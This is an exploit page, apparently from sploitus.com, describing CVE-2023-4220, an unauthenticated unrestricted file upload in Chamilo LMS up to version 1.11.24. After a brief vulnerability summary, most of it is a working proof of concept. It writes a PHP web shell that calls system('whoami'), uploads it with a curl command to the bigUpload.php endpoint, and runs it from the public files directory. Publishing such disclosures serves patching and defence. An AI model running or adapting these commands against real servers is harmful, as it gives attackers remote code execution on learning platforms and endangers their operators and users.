## https://sploitus.com/exploit?id=F9654A9B-A431-5F25-9376-FAE740C3950D
# Chamilo-LMS-Unauthenticated-File-Upload-
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
### Affected Version ≤v1.11.24
### **CVE Identifier** CVE-2023-4220
## **Vulnerability Summary**
The big file upload functionality by `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` allows arbitrary files to be uploaded to `/main/inc/lib/javascript/bigupload/files` directory within the web root.
### **Proof-of-Concept**
- If `/main/inc/lib/javascript/bigupload/files` directory exist we can upload Arbitrary file as;
- Create a malicious php file `echo '<?php system("whoami"); ?>' > dollarboysushil.php`
![Untitled (1).png](images/Untitled(1).png)
- We can then upload this file by issuing following command
```
`$ curl -F 'bigUploadFile=@dollarboysushil.php' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
```
![Untitled (1).png](images/Untitled(2).png)
- We can check our file is uploaded by visiting the `/main/inc/lib/javascript/bigupload/files` directory
![Untitled (1).png](images/Untitled(3).png)
- And we can execute it by clicking the php file, which gives the output of `whoami` command
![Untitled (1).png](images/Untitled(4).png)